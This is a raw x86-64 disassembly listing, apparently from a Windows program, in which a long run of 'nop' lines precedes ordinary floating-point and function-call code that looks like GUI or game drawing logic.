nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movss dword [rsp + 0x20], xmm0
call fcn.7ff6bafe4d60
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x43960000
mov dword [rbp - 0x1c], 0x425c0000
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3960]
call fcn.7ff6bafef7e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
movaps xmm1, xmm8
movaps xmm0, xmm15
cmovne r14d, r12d
call fcn.7ff6bafd2380
lea rcx, [0x7ff6bb0a3970]
call fcn.7ff6bafef7e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
movaps xmm1, xmm8
mov eax, 2
movaps xmm0, xmm15
cmovne r14d, eax
call fcn.7ff6bafd2380
lea rcx, [0x7ff6bb0a3980]
call fcn.7ff6bafef7e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
movaps xmm1, xmm8
mov eax, 3
movaps xmm0, xmm15
cmovne r14d, eax
call fcn.7ff6bafd2380
lea rcx, [0x7ff6bb0a3990]
call fcn.7ff6bafef7e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
movaps xmm1, xmm8
mov eax, 4
movaps xmm0, xmm15
cmovne r14d, eax
mov dword [rbp - 0x7c], r14d
call fcn.7ff6bafd2380
lea rcx, [0x7ff6bb0a399c]
call fcn.7ff6bafef7e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb010225
mov eax, 5
mov r14d, eax
mov dword [rbp - 0x7c], eax
movss xmm7, dword [0x7ff6bb0abf88]
movss xmm6, dword [0x7ff6bb0abf84]
movzx eax, byte [0x7ff6bb13fd3b]
test al, al
mov ecx, eax
cmove ecx, r12d
mov byte [0x7ff6bb13fd3b], cl
cmp r14d, 2
jne 0x7ff6bb0115e4
movss xmm2, dword [0x7ff6bb0ac150]
lea rcx, [rbp + 0x560]
movss xmm1, dword [0x7ff6bb0ac200]
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac154]
lea rcx, [rbp + 0x4b0]
movss xmm1, dword [0x7ff6bb0ac20c]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1160], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1160], xmm0
movss xmm0, dword [rbp + 0x1164]
addss xmm0, xmm11
movss dword [rbp + 0x1164], xmm0
call fcn.7ff6bafc1390
movss xmm3, dword [0x7ff6bb0ac000]
lea rcx, [rbp + 0xdc8]
movss xmm2, dword [0x7ff6bb0abfb8]
movaps xmm1, xmm6
movss dword [rsp + 0x20], xmm14
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1158], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1158], xmm0
movss xmm0, dword [rbp + 0x115c]
addss xmm0, xmm11
movss dword [rbp + 0x115c], xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0abfd8]
lea rcx, [rbp + 0xdd8]
movss xmm1, dword [0x7ff6bb0abfec]
movaps xmm2, xmm7
movss dword [rsp + 0x20], xmm14
mov esi, eax
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac014]
lea rcx, [rbp + 0xde8]
movss xmm1, dword [0x7ff6bb0ac008]
movaps xmm2, xmm6
movss dword [rsp + 0x20], xmm14
mov edi, eax
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac02c]
lea rcx, [rbp + 0xdf8]
movss xmm2, dword [0x7ff6bb0abfcc]
movaps xmm1, xmm7
movss dword [rsp + 0x20], xmm14
mov ebx, eax
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm0, dword [0x7ff6bb0ac10c]
lea r8, [rbp + 0x1158]
mov dword [rsp + 0x40], r15d
lea rdx, [rbp + 0x1160]
movss dword [rsp + 0x38], xmm0
mov r9d, eax
mov dword [rsp + 0x30], esi
mov rcx, r13
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
call fcn.7ff6bafe5020
movss xmm2, dword [0x7ff6bb0ac1c8]
